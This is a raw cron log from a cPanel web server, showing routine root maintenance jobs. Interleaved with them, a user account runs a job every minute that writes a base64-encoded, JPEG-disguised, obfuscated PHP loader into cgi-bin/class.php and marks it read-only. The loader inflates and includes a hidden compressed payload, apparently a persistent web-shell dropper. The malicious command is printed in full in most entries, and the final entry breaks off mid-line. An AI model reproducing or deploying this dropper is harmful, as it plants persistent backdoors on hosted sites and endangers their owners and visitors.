Sep  5 23:34:01 server CROND[11281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:34:01 server CROND[11282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:35:02 server CROND[11672]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 23:35:02 server CROND[11673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:35:02 server CROND[11694]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 23:35:02 server CROND[11695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:35:02 server CROND[11697]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:35:02 server CROND[11693]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:35:02 server CROND[11699]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 23:35:02 server CROND[11696]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 23:35:02 server CROND[11707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:36:01 server CROND[12540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:36:01 server CROND[12541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:36:01 server CROND[12543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:37:01 server CROND[12918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:37:01 server CROND[12920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:37:01 server CROND[12919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:38:01 server CROND[13288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:38:01 server CROND[13289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:38:01 server CROND[13290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:39:01 server CROND[13752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:39:01 server CROND[13753]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 23:39:01 server CROND[13755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:39:01 server CROND[13754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:40:01 server CROND[14206]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 23:40:01 server CROND[14207]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 23:40:01 server CROND[14214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:40:01 server CROND[14213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:40:01 server CROND[14215]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 23:40:01 server CROND[14211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:40:01 server CROND[14216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:40:01 server CROND[14212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:41:01 server CROND[15037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:41:01 server CROND[15036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:41:01 server CROND[15038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:42:01 server CROND[15400]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 23:42:01 server CROND[15401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:42:01 server CROND[15402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:42:01 server CROND[15403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:43:01 server CROND[15787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:43:01 server CROND[15788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:43:01 server CROND[15789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:44:01 server CROND[16155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:44:01 server CROND[16156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:44:01 server CROND[16157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:45:01 server CROND[16626]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:45:01 server CROND[16628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:45:01 server CROND[16629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:45:01 server CROND[16631]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:45:01 server CROND[16630]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 23:45:01 server CROND[16632]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 23:45:01 server CROND[16633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHS